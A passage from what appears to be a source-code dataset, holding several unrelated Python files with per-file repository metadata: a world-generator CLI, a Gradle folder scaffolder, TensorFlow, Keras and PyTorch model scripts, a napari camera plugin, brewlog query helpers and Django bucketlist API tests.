g_ancient_map.add_argument('--draw-outer-border', dest='draw_outer_border', action="store_true", help="Draw outer land border", default=False) # TODO: allow for RGB specification as [r g b], ie [0.5 0.5 0.5] for gray args = parser.parse_args() if args.version: usage() if os.path.exists(args.output_dir): if not os.path.isdir(args.output_dir): raise Exception("Output dir exists but it is not a dir") else: print('Directory does not exist, we are creating it') os.makedirs(args.output_dir) # it needs to be increased to be able to generate very large maps # the limit is hit when drawing ancient maps sys.setrecursionlimit(args.recursion_limit) if args.number_of_plates < 1 or args.number_of_plates > 100: usage(error="Number of plates should be a in [1, 100]") operation = "world" if args.OPERATOR is None: pass elif args.OPERATOR is not None and args.OPERATOR.lower() not in OPERATIONS: parser.print_help() usage("Only 1 operation allowed [" + OPERATIONS + "]") else: operation = args.OPERATOR.lower() if args.OPERATOR == 'info': if args.FILE is None: parser.print_help() usage("For operation info only the filename should be specified") if not os.path.exists(args.FILE): usage("The specified world file does not exist") random.seed() if args.seed: seed = int(args.seed) else: seed = random.randint(0, 65536) if args.world_name: world_name = args.world_name else: world_name = "seed_%i" % seed step = check_step(args.step) world_format = 'pickle' if args.protobuf: world_format = 'protobuf' generation_operation = (operation == 'world') or (operation == 'plates') produce_grayscale_heightmap = args.grayscale_heightmap if produce_grayscale_heightmap and not generation_operation: usage( error="Grayscale heightmap can be produced only during world " + "generation") if args.rivers_map and not generation_operation: usage(error="Rivers map can be produced only during world generation") print('Worldengine - a world generator (v. %s)' % VERSION) print('-----------------------') print(' operation : %s generation' % operation) if generation_operation: print(' seed : %i' % seed) print(' name : %s' % world_name) print(' width : %i' % args.width) print(' height : %i' % args.height) print(' number of plates : %i' % args.number_of_plates) print(' world format : %s' % world_format) print(' black and white maps : %s' % args.black_and_white) print(' step : %s' % step.name) if produce_grayscale_heightmap: print( ' + greyscale heightmap in "%s"' % produce_grayscale_heightmap) else: print(' (no greyscale heightmap)') if args.rivers_map: print(' + rivers map in "%s"' % args.rivers_map) else: print(' (no rivers map)') if operation == 'ancient_map': print(' resize factor : %i' % args.resize_factor) print(' world file : %s' % args.world_file) print(' sea color : %s' % args.sea_color) print(' draw biome : %s' % args.draw_biome) print(' draw rivers : %s' % args.draw_rivers) print(' draw mountains : %s' % args.draw_mountains) print(' draw land outer border : %s' % args.draw_outer_border) set_verbose(args.verbose) if operation == 'world': print('') # empty line print('starting (it could take a few minutes) ...') world = generate_world(world_name, args.width, args.height, seed, args.number_of_plates, args.output_dir, step, args.ocean_level, world_format, args.verbose, black_and_white=args.black_and_white) if produce_grayscale_heightmap: generate_grayscale_heightmap(world, produce_grayscale_heightmap) if args.rivers_map: generate_rivers_map(world, args.rivers_map) elif operation == 'plates': print('') # empty line print('starting (it could take a few minutes) ...') generate_plates(seed, world_name, args.output_dir, args.width, args.height, num_plates=args.number_of_plates) elif operation == 'ancient_map': print('') # empty line print('starting (it could take a few minutes) ...') # First, some error checking if args.sea_color == "blue": sea_color = (142, 162, 179, 255) elif args.sea_color == "brown": sea_color = (212, 198, 169, 255) else: usage("Unknown sea color: " + args.sea_color + " Select from [" + SEA_COLORS + "]") if not args.world_file: usage( "For generating an ancient map is necessary to specify the " + "world to be used (-w option)") world = load_world(args.world_file) print_verbose(" * world loaded") if not args.generated_file: args.generated_file = "ancient_map_%s.png" % world.name operation_ancient_map(world, args.generated_file, args.resize_factor, sea_color, args.draw_biome, args.draw_rivers, args.draw_mountains, args.draw_outer_border) elif operation == 'info': world = load_world(args.FILE) print_world_info(world) else: raise Exception( 'Unknown operation: valid operations are %s' % OPERATIONS) print('...done') def usage(error=None): print( ' -------------------------------------------------------------------') print(' Federico Tomassetti and Bret Curtis, 2011-2015') print(' Worldengine - a world generator (v. %s)' % VERSION) print(' ') print(' worldengine <world_name> [operation] [options]') print(' possible operations: %s' % OPERATIONS) print(' use -h to see options') print( ' -------------------------------------------------------------------') if error: print("ERROR: %s" % error) sys.exit(' ') # ------------------------------- if __name__ == "__main__": main()
41.653543
98
0.57689
0
0
0
0
0
0
0
0
7,046
0.332987
b0f3965138dd98bc050b860206e62e5235246cb0
1,432
py
Python
poc-api-gateway/init-project.py
ronald-pineda/poc
b5bdb7eff963b251ea70cf02570c7d0b6cbef5e3
[ "Apache-2.0" ]
null
null
null
poc-api-gateway/init-project.py
ronald-pineda/poc
b5bdb7eff963b251ea70cf02570c7d0b6cbef5e3
[ "Apache-2.0" ]
null
null
null
poc-api-gateway/init-project.py
ronald-pineda/poc
b5bdb7eff963b251ea70cf02570c7d0b6cbef5e3
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python import sys import os def create_project_folders(projectFolders): create_folder(fullServicesFolder) for projectIndex in range(len(projectFolders)): projectFolder = fullServicesFolder + "/" + projectFolders[projectIndex] create_folder(projectFolder) open(projectFolder + "/build.gradle", "w").close() create_project_subfolders(projectFolder) f = open(os.getcwd() + "/settings.gradle", "a") f.write("include '" + servicesFolder + ":" + projectFolders[projectIndex] + "'\n") f.close() def create_project_subfolders(projectFolder): # print(projectFolder) for srcFolderIndex in range(len(srcFolders)): srcFolder = projectFolder + "/" + srcFolders[srcFolderIndex] + "/" # print(srcFolder) create_folder(srcFolder) def create_folder(path): try: os.mkdir(path) except OSError: print ("create_folder failed : %s" % path) else: print ("create_folder succeed : %s" % path) servicesFolder = sys.argv[1] projectFolders = sys.argv[2].split(',') # projectFolders = "project1 project2".split(' ') # servicesFolderName = "/services" srcFolders = "src src/main src/main/java src/main/resources src/test src/test/java src/test/resources".split( ' ') currentPath = os.getcwd() fullServicesFolder = currentPath + "/" + servicesFolder create_project_folders(projectFolders)
30.468085
109
0.672486
0
0
0
0
0
0
0
0
361
0.252095
b0f74b9d843423b3b2ee4eb76a8944598071e925
10,133
py
Python
lstm.py
mustyoshi/scikit-ta
c2a8f4ce2deadaa13d8bd8891aabd096b397e330
[ "MIT" ]
1
2018-03-12T19:50:14.000Z
2018-03-12T19:50:14.000Z
lstm.py
mustyoshi/scikit-ta
c2a8f4ce2deadaa13d8bd8891aabd096b397e330
[ "MIT" ]
null
null
null
lstm.py
mustyoshi/scikit-ta
c2a8f4ce2deadaa13d8bd8891aabd096b397e330
[ "MIT" ]
1
2020-02-22T21:59:39.000Z
2020-02-22T21:59:39.000Z
from __future__ import print_function import tensorflow as tf from tensorflow.contrib import rnn import pandas as pd import numpy as np import random import time import os import datetime from tensorflow.python.client import timeline os.environ["CUDA_VISIBLE_DEVICES"] = "0" from sklearn.model_selection import train_test_split from sklearn.metrics import f1_score from sklearn.pipeline import Pipeline import mods #from . import ProductionPipe if __name__ == "__main__": # Training Parameters device="/gpu:0" learning_rate = .0001 batch_size = (20*5) display_step = 10 timesteps = 1 # timesteps num_classes = 2 # MNIST total classes (0-9 digits) def splitDataFrameIntoSmaller(df, chunkSize = batch_size): listOfDf = list() numberChunks = len(df) // chunkSize + 1 for i in range(numberChunks): listOfDf.append(df[i*chunkSize:(i+1)*chunkSize]) return listOfDf to_drop = ['Date','Time','Open','High','Low','Close','Volume',"Period_4_Lookforward_p1","Period_4_Lookforward_p2"] to_bool = [] create = True if(create): #df = pd.read_csv('dhy.us.txt',names=["Date","Time","Open","High","Low","Close","Volume","Ope"]) df = pd.read_csv('bac.us.txt') origs = df[['Close']].copy() #df = pd.read_csv('combined.csv',header=None,names=["Open","High","Low","Close","Volume"]) prod_pipe = mods.CreatePipeline() #Pipeline([('ft1',ft1),('ft2',ft2),('ft3',ft3)]) df['Period_4_Lookforward_p1'] = (df['Close'].shift(-4).astype(float) > df['Close'].astype(float)) df['Period_4_Lookforward_p2'] =(np.min([df['Low'].shift(-n) for n in range(1,4)],axis=0) > (df['Close'].astype(float)*.99)) #np.amax([df['Close'].shift(-n).astype(float) for n in range(1,4)],axis=0) > df['Close'] df['Period_4_Lookforward'] = (df['Period_4_Lookforward_p1'].astype(bool) == True) & (df['Period_4_Lookforward_p2'].astype(bool) == True) df = prod_pipe.transform(df) #to_bool.append('Period_4_Lookforward') #for b in to_bool: # df[b] = df[b].astype(bool) df = df.dropna() df.drop(df.index[:32], inplace=True,errors="ignore") #df.to_csv('Hours.csv',index=False) #df = df.drop(to_drop,axis=1) df = df.astype(float) df.to_csv('Hours.csv',index=False,float_format="%.8g") else: df = pd.read_csv('Hours.csv') print(sum(df['Period_4_Lookforward'].values),'total ups',sum(df['Period_4_Lookforward'].values)/len(df)) num_input = len(df.columns)-1 num_hidden =num_input*20 # int((num_input*num_input)//2) # hidden layer num of features train = df[:int(len(df)*0.9)] test = df[len(train):] dfs = splitDataFrameIntoSmaller(train) training_steps = len(dfs)*100 del dfs[-1] random.shuffle(dfs) dfs.append(test) print(num_input,'inputs') print(num_hidden,'nodes per layer') print(len(dfs),'batches') print(len(test),'test parts') ind = 0 # Network Parameters with tf.device(device): # tf Graph input X = tf.placeholder("float", [None, timesteps, num_input]) Y = tf.placeholder("float", [None, num_classes]) # Define weights weights = { 'out': tf.Variable(tf.random_normal([num_hidden, num_classes])) } biases = { 'out': tf.Variable(tf.random_normal([num_classes])) } def RNN(x, weights, biases): # Prepare data shape to match `rnn` function requirements # Current data input shape: (batch_size, timesteps, n_input) # Required shape: 'timesteps' tensors list of shape (batch_size, n_input) # Unstack to get a list of 'timesteps' tensors of shape (batch_size, n_input) x = tf.unstack(x, timesteps, 1) # Define a lstm cell with tensorflow lstm_cell1 = rnn.LSTMBlockCell(num_hidden, forget_bias=1.0) #lstm_cell = rnn.BasicRNNCell(num_hidden) #lstm_cell = rnn.PhasedLSTMCell(num_hidden) #lstm_cell2 = rnn.PhasedLSTMCell(num_hidden) lstm_cell1 = tf.nn.rnn_cell.DropoutWrapper(lstm_cell1, output_keep_prob=0.75) lstm_cell2 = rnn.LSTMBlockCell(num_hidden, forget_bias=1.0,use_peephole=True) lstm_cell1 = tf.nn.rnn_cell.DropoutWrapper(lstm_cell1, output_keep_prob=0.75) lstm_cell = tf.nn.rnn_cell.MultiRNNCell([lstm_cell1,lstm_cell2]*4) # Get lstm cell output outputs, states = rnn.static_rnn(lstm_cell, x, dtype=tf.float32) # Linear activation, using rnn inner loop last output return tf.matmul(outputs[-1], weights['out']) + biases['out'] logits = RNN(X, weights, biases) with tf.device("/cpu:0"): prediction = tf.nn.softmax(logits) # Define loss and optimizer loss_op = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits( logits=logits, labels=Y)) #optimizer = tf.train.GradientDescentOptimizer(learning_rate=learning_rate) #optimizer = tf.train.AdagradOptimizer(learning_rate=learning_rate) optimizer = tf.train.AdamOptimizer(learning_rate) #optimizer = tf.train.FtrlOptimizer(learning_rate) train_op = optimizer.minimize(loss_op) # Evaluate model (with test logits, for dropout to be disabled) correct_pred = tf.equal(tf.argmax(prediction, 1), tf.argmax(Y, 1)) accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32)) y_p = tf.argmax(prediction, 1) init = tf.global_variables_initializer() # Initialize the variables (i.e. assign their default value) test_len = len(dfs[-1]) test_data = dfs[-1] closes = origs.loc[test_data.index].values test_data.reset_index(drop=True,inplace=True) test_true = test_data['Period_4_Lookforward'].values test_label = np.array([test_data['Period_4_Lookforward'] == 0,test_data['Period_4_Lookforward'] == 1]).reshape((-1,2)) test_data = test_data.drop(['Period_4_Lookforward'],axis=1) test_data = test_data.as_matrix() test_data = test_data.reshape((-1, timesteps, num_input)) max_fails = 10 fails = 0 min_improv = .00000001 min_loss = 99 max_f1 = 0 config = tf.ConfigProto() config.gpu_options.allow_growth=True config.intra_op_parallelism_threads=4 config.inter_op_parallelism_threads=4 with tf.Session(config=config) as sess: # Run the initializer sess.run(init) start_time = time.time() for step in range(1, training_steps+1): batch_x= dfs[ind] #print(len(batch_x),'rows') ind = (ind + 1)%(len(dfs)-1) y_true = batch_x['Period_4_Lookforward'].values batch_y =np.array([batch_x['Period_4_Lookforward'] == 0,batch_x['Period_4_Lookforward'] == 1]).reshape((-1,2)) batch_x = batch_x.drop(['Period_4_Lookforward'],axis=1) # Reshape data to get 28 seq of 28 elements batch_x = batch_x.as_matrix() batch_x = batch_x.reshape((batch_size, timesteps, num_input)) # Run optimization op (backprop) sess.run(train_op, feed_dict={X: batch_x, Y: batch_y}) # if(learning_rate > .0001): # learning_rate = learning_rate/10 # optimizer = tf.train.GradientDescentOptimizer(learning_rate=learning_rate) # train_op = optimizer.minimize(loss_op) if step % display_step == 0 or step == 1: # Calculate batch loss and accuracy loss, acc,y_pred = sess.run([loss_op, accuracy,y_p], feed_dict={X: batch_x, Y: batch_y}) loss2, acc2,test_pred = sess.run([loss_op, accuracy,y_p], feed_dict={X: test_data, Y: test_label}) test_f1 = f1_score(test_true,test_pred) print("Step " + "{:07d}".format(step) + ",L= " + \ "{:.6f}".format(loss) + ",Tr=" + \ "{:.3f}".format(acc) + ",Te=" + \ "{:.3f}".format(acc2) + ",F1(Tr)={:.3f}".format(f1_score(y_true,y_pred)) + \ ",F1(Te)={:.8f}".format(test_f1)) if(loss < (min_loss-min_improv) or test_f1 > max_f1): min_loss = loss fails = 0 max_f1 = max(max_f1,test_f1) else: fails = fails + 1 if(fails > max_fails): print('Ended early due to failure to improve') break duration = time.time() - start_time print("\nOptimization Finished in {:.4f}s ({:0.8f} per step)\n\tMax of {:.4f}".format(duration,duration/step,max_f1)) # Calculate accuracy for 128 mnist test images print("Final Testing Accuracy {:0.4f}%".format(f1_score(test_true,sess.run(y_p, feed_dict={X: test_data, Y: test_label})))) last_price = 0 gain = 1 ind = 0 min_gain = 1 max_gain = 1 for row in test_data: output = sess.run(y_p,feed_dict={X:[row]})[0] if(output == 1): if(last_price == 0): last_price = closes[ind] if(closes[ind] < last_price): gain = gain * (1+((last_price - closes[ind]))*20) min_gain = min(gain,min_gain) max_gain = max(gain,max_gain) last_price = 0 else: if(last_price != 0): gain = gain * (1+((last_price - closes[ind]))*20) min_gain = min(gain,min_gain) max_gain = max(gain,max_gain) last_price = 0 ind = ind + 1 print(ind,"rows gives",gain) print(min_gain," | ",max_gain) #saver = tf.train.Saver() #saver.save(sess, "D:\\dev\\forex_17\\model.ckpt")
42.936441
220
0.589954
0
0
0
0
0
0
0
0
2,909
0.287082
b0f85d4de8f913a7c50b0d59c38e3f8dc18c049b
2,375
py
Python
src/napari_live_recording/__init__.py
jethro33/napari-live-recording
6c3fcc33bd18cd090e3f89971b630d1800e29e4d
[ "MIT" ]
7
2021-10-11T17:45:33.000Z
2022-02-07T16:10:42.000Z
src/napari_live_recording/__init__.py
jethro33/napari-live-recording
6c3fcc33bd18cd090e3f89971b630d1800e29e4d
[ "MIT" ]
2
2021-11-01T09:00:11.000Z
2022-01-24T16:21:05.000Z
src/napari_live_recording/__init__.py
jethro33/napari-live-recording
6c3fcc33bd18cd090e3f89971b630d1800e29e4d
[ "MIT" ]
null
null
null
from napari.viewer import Viewer import napari_live_recording.devices as devices from napari_live_recording.widgets import CameraSelection from napari_live_recording.control import Controller from qtpy.QtWidgets import QWidget, QFormLayout, QGroupBox class NapariLiveRecording(QWidget): def __init__(self, napari_viewer : Viewer) -> None: super().__init__() self.viewer = napari_viewer self.mainLayout = QFormLayout() self.selectionWidget = CameraSelection() self.selectionWidget.setAvailableCameras(list(devices.devicesDict.keys())) self.controller = Controller(self) self.mainLayout.addRow(self.selectionWidget.group) self.viewer.layers.events.removed.connect(self.controller.clearAlbumBuffer) # Creates a new camera object and passes it to the controller # whenever the add button is pressed self.selectionWidget.newCameraRequested.connect(self.addNewCamera) self.controller.cameraDeleted.connect(self.deleteCameraWidget) self.setLayout(self.mainLayout) def addNewCamera(self, type: str, name, idx: str) -> None: camera = devices.devicesDict[type](name, idx) self.mainLayout.addRow(self.controller.addCamera(camera)) def deleteCameraWidget(self, widget: QGroupBox) -> None: self.mainLayout.removeRow(widget) def refreshViewer(self, img, layerName) -> None: """ Slot triggered every time a camera acquires a frame. Creates a new layer on the viewer with the received image as content. If the layer already exists, it updates its content. Args: img (np.ndarray): image data. layerName (str): name of the layer to create/update. """ if img is not None: try: # layer is recreated in case the image changes type (i.e. grayscale -> RGB and viceversa) if img.ndim != self.viewer.layers[layerName].data.ndim: self.viewer.layers.remove(layerName) self.viewer.add_image(img, name = layerName) else: self.viewer.layers[layerName].data = img except KeyError: # needed in case the layer of that live recording does not exist self.viewer.add_image(img, name = layerName)
45.673077
105
0.663579
2,123
0.893895
0
0
0
0
0
0
579
0.243789
b0f8a636893a665d94b32f86e052882874326b1a
4,277
py
Python
Chapter08/inceptionV3.py
wikibook/deep-learning-reference
18d2ca2ded4256b2ddbac6e76d57531ca13e6e30
[ "MIT" ]
2
2020-02-13T05:45:20.000Z
2020-04-11T05:58:02.000Z
Chapter08/inceptionV3.py
wikibook/deep-learning-reference
18d2ca2ded4256b2ddbac6e76d57531ca13e6e30
[ "MIT" ]
null
null
null
Chapter08/inceptionV3.py
wikibook/deep-learning-reference
18d2ca2ded4256b2ddbac6e76d57531ca13e6e30
[ "MIT" ]
null
null
null
# Deep Learning Quick Reference Chapter 8: Transfer Learning # Mike Bernico <mike.bernico@gmail.com> # seed random number generators before importing keras import numpy as np np.random.seed(42) import tensorflow as tf tf.set_random_seed(42) from keras.applications.inception_v3 import InceptionV3 from keras.models import Model from keras.layers import Dense, GlobalAveragePooling2D from keras.callbacks import TensorBoard, EarlyStopping, CSVLogger, ModelCheckpoint from keras.preprocessing.image import ImageDataGenerator from keras.optimizers import SGD import os import argparse def build_model_feature_extraction(): # create the base pre-trained model base_model = InceptionV3(weights='imagenet', include_top=False) # add a global spatial average pooling layer x = base_model.output x = GlobalAveragePooling2D()(x) # let's add a fully-connected layer x = Dense(1024, activation='relu')(x) # and a logistic layer predictions = Dense(1, activation='sigmoid')(x) # this is the model we will train model = Model(inputs=base_model.input, outputs=predictions) # first: train only the top layers (which were randomly initialized) # i.e. freeze all convolutional InceptionV3 layers for layer in base_model.layers: layer.trainable = False # compile the model (should be done *after* setting layers to non-trainable) model.compile(optimizer='rmsprop', loss='binary_crossentropy', metrics=['accuracy']) return model def build_model_fine_tuning(model, learning_rate=0.0001, momentum=0.9): for layer in model.layers[:249]: layer.trainable = False for layer in model.layers[249:]: layer.trainable = True model.compile(optimizer=SGD(lr=learning_rate, momentum=momentum), loss='binary_crossentropy', metrics=['accuracy']) return model def create_callbacks(name): tensorboard_callback = TensorBoard(log_dir=os.path.join(os.getcwd(), "tb_log", name), write_graph=True, write_grads=False) checkpoint_callback = ModelCheckpoint(filepath="./model-weights" + name + ".{epoch:02d}-{val_loss:.6f}.hdf5", monitor='val_loss', verbose=0, save_best_only=True) return [tensorboard_callback, checkpoint_callback] def setup_data(train_data_dir, val_data_dir, img_width=299, img_height=299, batch_size=16): train_datagen = ImageDataGenerator(rescale=1./255) val_datagen = ImageDataGenerator(rescale=1./255) train_generator = train_datagen.flow_from_directory( train_data_dir, target_size=(img_width, img_height), batch_size=batch_size, class_mode='binary') validation_generator = val_datagen.flow_from_directory( val_data_dir, target_size=(img_width, img_height), batch_size=batch_size, class_mode='binary') return train_generator, validation_generator def main(): data_dir = "data/train/" val_dir = "data/val/" epochs = 10 batch_size = 30 model = build_model_feature_extraction() train_generator, val_generator = setup_data(data_dir, val_dir) callbacks_fe = create_callbacks(name='feature_extraction') callbacks_ft = create_callbacks(name='fine_tuning') # stage 1 fit model.fit_generator( train_generator, steps_per_epoch=train_generator.n // batch_size, epochs=epochs, validation_data=val_generator, validation_steps=val_generator.n // batch_size, callbacks=callbacks_fe, verbose=1) scores = model.evaluate_generator(val_generator, steps=val_generator.n // batch_size) print("Step 1 Scores: Loss: " + str(scores[0]) + " Accuracy: " + str(scores[1])) # stage 2 fit model = build_model_fine_tuning(model) model.fit_generator( train_generator, steps_per_epoch=train_generator.n // batch_size, epochs=epochs, validation_data=val_generator, validation_steps=val_generator.n // batch_size, callbacks=callbacks_ft, verbose=2) scores = model.evaluate_generator(val_generator, steps=val_generator.n // batch_size) print("Step 2 Scores: Loss: " + str(scores[0]) + " Accuracy: " + str(scores[1])) if __name__ == "__main__": main()
34.491935
133
0.710545
0
0
0
0
0
0
0
0
862
0.201543
b0f8d8e1a99343fc9166ec575752cd7be6e45cee
827
py
Python
Pytorch/5-CNN/nn_Sequential.py
pengchenyu111/PaperCodeReplication
7b8681654e25b7d707f4b4d7ebcfb85ffc0fd52a
[ "Apache-2.0" ]
null
null
null
Pytorch/5-CNN/nn_Sequential.py
pengchenyu111/PaperCodeReplication
7b8681654e25b7d707f4b4d7ebcfb85ffc0fd52a
[ "Apache-2.0" ]
null
null
null
Pytorch/5-CNN/nn_Sequential.py
pengchenyu111/PaperCodeReplication
7b8681654e25b7d707f4b4d7ebcfb85ffc0fd52a
[ "Apache-2.0" ]
null
null
null
import torch from torch import nn from torch.nn import Conv2d, MaxPool2d, Flatten, Linear, Sequential from torch.utils.tensorboard import SummaryWriter class Tudui(nn.Module): def __init__(self): super(Tudui, self).__init__() self.model1 = Sequential( Conv2d(3, 32, 5, padding=2), MaxPool2d(2), Conv2d(32, 32, 5, padding=2), MaxPool2d(2), Conv2d(32, 64, 5, padding=2), MaxPool2d(2), Flatten(), Linear(1024, 64), Linear(64, 10) ) def forward(self, x): x = self.model1(x) return x tudui = Tudui() print(tudui) input = torch.ones((64, 3, 32, 32)) output = tudui(input) print(output.shape) writer = SummaryWriter("./logs") writer.add_graph(tudui, input) writer.close()
22.972222
67
0.584039
483
0.584039
0
0
0
0
0
0
8
0.009674
b0fb6f704b8d712fad268b480c2d25cc8bc409f5
1,232
py
Python
src/brewlog/utils/query.py
zgoda/brewlog
13a930b328f81d01a2be9aca07d3b14703b80faa
[ "BSD-3-Clause" ]
3
2019-03-11T04:30:06.000Z
2020-01-26T03:21:52.000Z
src/brewlog/utils/query.py
zgoda/brewlog
13a930b328f81d01a2be9aca07d3b14703b80faa
[ "BSD-3-Clause" ]
23
2019-02-06T20:37:37.000Z
2020-06-01T07:08:35.000Z
src/brewlog/utils/query.py
zgoda/brewlog
13a930b328f81d01a2be9aca07d3b14703b80faa
[ "BSD-3-Clause" ]
null
null
null
from typing import Optional from flask import url_for from flask_sqlalchemy import BaseQuery from ..ext import db from ..models import Brew, BrewerProfile def public_or_owner(query: BaseQuery, user: Optional[BrewerProfile]) -> BaseQuery: """Filter Brew query of all non-accessible objects. :param query: query over Brew objects :type query: BaseQuery :param user: actor object, may be None :type user: Optional[BrewerProfile] :return: filtered query :rtype: BaseQuery """ if user is not None: query = query.filter( db.or_( BrewerProfile.id == user.id, db.and_(BrewerProfile.is_public.is_(True), Brew.is_public.is_(True)) ) ) else: query = query.filter( BrewerProfile.is_public.is_(True), Brew.is_public.is_(True) ) return query def search_result(query, endpoint, attr_name): res = [] id_col = query.column_descriptions[0]['entity'].id name_col = query.column_descriptions[0]['entity'].name for obj_id, obj_name in query.values(id_col, name_col): kw = {attr_name: obj_id} res.append({'name': obj_name, 'url': url_for(endpoint, **kw)}) return res
29.333333
84
0.649351
0
0
0
0
0
0
0
0
289
0.234578
b0fda5ff40de8e081dd602a278f08974ff524613
11,355
py
Python
adventures/bucketlist/tests/test_api.py
lakivisi-zz/adventures
f094ac3fa1d5c85d65650c9cdc2ff2f60f9189a5
[ "MIT" ]
null
null
null
adventures/bucketlist/tests/test_api.py
lakivisi-zz/adventures
f094ac3fa1d5c85d65650c9cdc2ff2f60f9189a5
[ "MIT" ]
null
null
null
adventures/bucketlist/tests/test_api.py
lakivisi-zz/adventures
f094ac3fa1d5c85d65650c9cdc2ff2f60f9189a5
[ "MIT" ]
1
2021-01-14T21:27:32.000Z
2021-01-14T21:27:32.000Z
from django.urls import reverse from rest_framework import status from rest_framework.test import APITestCase from bucketlist.models import Bucketlist, Item from bucketlist.tests.factories import (BucketlistFactory, UserFactory, ItemFactory) # Create your tests here. class RegisterApiTestSuite(APITestCase): def setUp(self): self.user = UserFactory.build() def test_user_can_register_with_correct_credentials(self): url = reverse('register') data = {'username': self.user.username, 'email': self.user.email, 'password': self.user.password} response = self.client.post(url, data, format='json') self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertIn( '"username":"{}","email":"{}"'.format( self.user.username, self.user.email), str(response.content)) # test_user_cant_register_twice response = self.client.post(url, data, format='json') self.assertEqual(response.status_code, 400) self.assertIn( '"username":["A user with that username already exists."]', str(response.content)) def test_user_cant_register_with_wrong_credentials(self): url = reverse('register') data = {'username': self.user.username, 'email': "wq", 'password': self.user.password} response = self.client.post(url, data, format='json') self.assertEqual(response.status_code, 400) self.assertIn( '"email":["Enter a valid email address."]', str(response.content)) def test_user_cant_register_with_blank_credentials(self): url = reverse('register') data = {'username': ' ', 'email': ' ', 'password': ' '} response = self.client.post(url, data, format='json') self.assertEqual(response.status_code, 400) self.assertIn( '"username":["This field may not be blank."]', str(response.content)) class LoginAPITestSuite(APITestCase): def setUp(self): self.user = UserFactory.build() url = reverse('register') data = {'username': self.user.username, 'email': self.user.email, 'password': self.user.password} self.client.post(url, data, format='json') self.url = reverse('login') self.data = {'username': self.user.username, 'password': self.user.password} def test_registered_user_can_login(self): response = self.client.post(self.url, self.data, format='json') self.assertEqual(response.status_code, 200) self.assertIn('token', str(response.content)) def test_login_with_blank_credentials(self): response = self.client.post( self.url, {'username': '', 'password': ''}, format='json') self.assertEqual(response.status_code, 400) self.assertIn( '"username":["This field may not be blank."]', str(response.content)) self.assertIn( '"password":["This field may not be blank."]', str(response.content)) def test_login_with_wrong_credentials(self): response = self.client.post(self.url, {'username': 'loice', 'password': 'loice'}, format='json') self.assertEqual(response.status_code, 400) self.assertIn('Unable to login with provided credentials', str(response.content)) class BucketlistAPITestSuite(APITestCase): def setUp(self): self.user = UserFactory.build() bucketlists = BucketlistFactory.build_batch(2) self.bucketlist1 = bucketlists[0] self.bucketlist2 = bucketlists[1] # register a user url = reverse('register') data = {'username': self.user.username, 'email': self.user.email, 'password': self.user.password} self.client.post(url, data, format='json') # login user response = self.client.post(reverse('login'), {'username': self.user.username, 'password': self.user.password}, format='json' ) self.token = response.data['token'] self.client.credentials(HTTP_AUTHORIZATION='JWT ' + self.token) # add one bucketlist self.data = {'name': self.bucketlist2.name, 'description': self.bucketlist2.description} response = self.client.post( reverse('bucketlists'), self.data, format='json') self.bucketlist = Bucketlist.objects.get(name=self.bucketlist2.name) def test_user_can_create_bucketlist(self): url = reverse('bucketlists') data = {'name': self.bucketlist1.name, 'description': self.bucketlist1.description} response = self.client.post(url, data, format='json') data = response.data self.assertIsNotNone(data['id']) self.assertEqual(data['name'], self.bucketlist1.name) def test_user_cant_create_bucketlist_with_same_name(self): response = self.client.post(reverse('bucketlists'), self.data, format='json') data = response.data self.assertEqual(data['name'], ["bucketlist already exists"]) def test_can_list_bucketlists(self): response = self.client.get(reverse('bucketlists')) data = response.data self.assertEqual(response.status_code, 200) self.assertEqual(self.bucketlist2.name, data[0]['name']) def test_can_list_one_bucketlist(self): response = self.client.get( reverse('one_bucketlist', kwargs={'pk': self.bucketlist.id})) data = response.data self.assertEqual(response.status_code, 200) self.assertEqual(self.bucketlist2.name, data['name']) def test_can_edit_one_bucketlist(self): response = self.client.put( reverse('one_bucketlist', kwargs={'pk': self.bucketlist.id}), {'name': 'holiday', 'description': self.bucketlist2.description}, format='json') data = response.data self.assertEqual(response.status_code, 200) self.assertEqual('holiday', data['name']) def test_can_delete_one_bucketlist(self): response = self.client.delete( reverse('one_bucketlist', kwargs={'pk': 1})) self.assertEqual(response.status_code, 204) response = self.client.get( reverse('one_bucketlist', kwargs={'pk': 1}), headers={'Authorization': 'JWT ' + self.token}) data = response.data self.assertEqual(response.status_code, 404) self.assertEqual("Not found.", data["detail"]) class ItemAPITestSuite(APITestCase): def setUp(self): self.user = UserFactory.build() bucketlist = BucketlistFactory.build() items = ItemFactory.build_batch(2) self.item1 = items[0] self.item2 = items[1] # register a user url = reverse('register') data = {'username': self.user.username, 'email': self.user.email, 'password': self.user.password} self.client.post(url, data, format='json') # login user response = self.client.post(reverse('login'), {'username': self.user.username, 'password': self.user.password}, format='json' ) self.token = response.data['token'] self.client.credentials(HTTP_AUTHORIZATION='JWT ' + self.token) # add one bucketlist data = {'name': bucketlist.name, 'description': bucketlist.description} self.client.post( reverse('bucketlists'), data, format='json') self.bucketlist = Bucketlist.objects.get(name=bucketlist.name) self.data = {'name': self.item1.name, 'description': self.item1.description, 'completed': self.item1.completed} self.client.post(reverse('items', kwargs={'bucketlist_id': self.bucketlist.id}), self.data, format='json') self.item = Item.objects.get( name=self.item1.name, bucketlist=self.bucketlist) def test_user_can_create_item(self): url = reverse('items', kwargs={'bucketlist_id': self.bucketlist.id}) data = {'name': self.item2.name, 'description': self.item2.description, 'completed': self.item2.completed} response = self.client.post(url, data, format='json') data = response.data self.assertIsNotNone(data['id']) self.assertEqual(data['name'], self.item2.name) def test_user_cant_create_item_with_same_name_in_one_bucketlist(self): url = reverse('items', kwargs={'bucketlist_id': self.bucketlist.id}) response = self.client.post(url, self.data, format='json') data = response.data self.assertEqual(data['name'], ["item already exists in bucketlist"]) def test_can_list_bucketlist_items(self): url = reverse('items', kwargs={'bucketlist_id': self.bucketlist.id}) response = self.client.get(url) data = response.data self.assertEqual(response.status_code, 200) self.assertEqual(self.item1.name, data[0]['name']) def test_can_list_one_bucketlist_item(self): url = reverse('one_item', kwargs={'bucketlist_id': self.bucketlist.id, 'pk': self.item.id}) response = self.client.get(url) data = response.data self.assertEqual(response.status_code, 200) self.assertEqual(self.item1.name, data['name']) def test_can_edit_one_bucketlist_item(self): url = reverse('one_item', kwargs={'bucketlist_id': self.bucketlist.id, 'pk': self.item.id}) response = self.client.put(url, {'name': 'israel trip', 'description': self.item1.description, 'completed': self.item1.completed}, format='json') data = response.data self.assertEqual(response.status_code, 200) self.assertEqual('israel trip', data['name']) def test_can_delete_one_bucketlist_item(self): url = 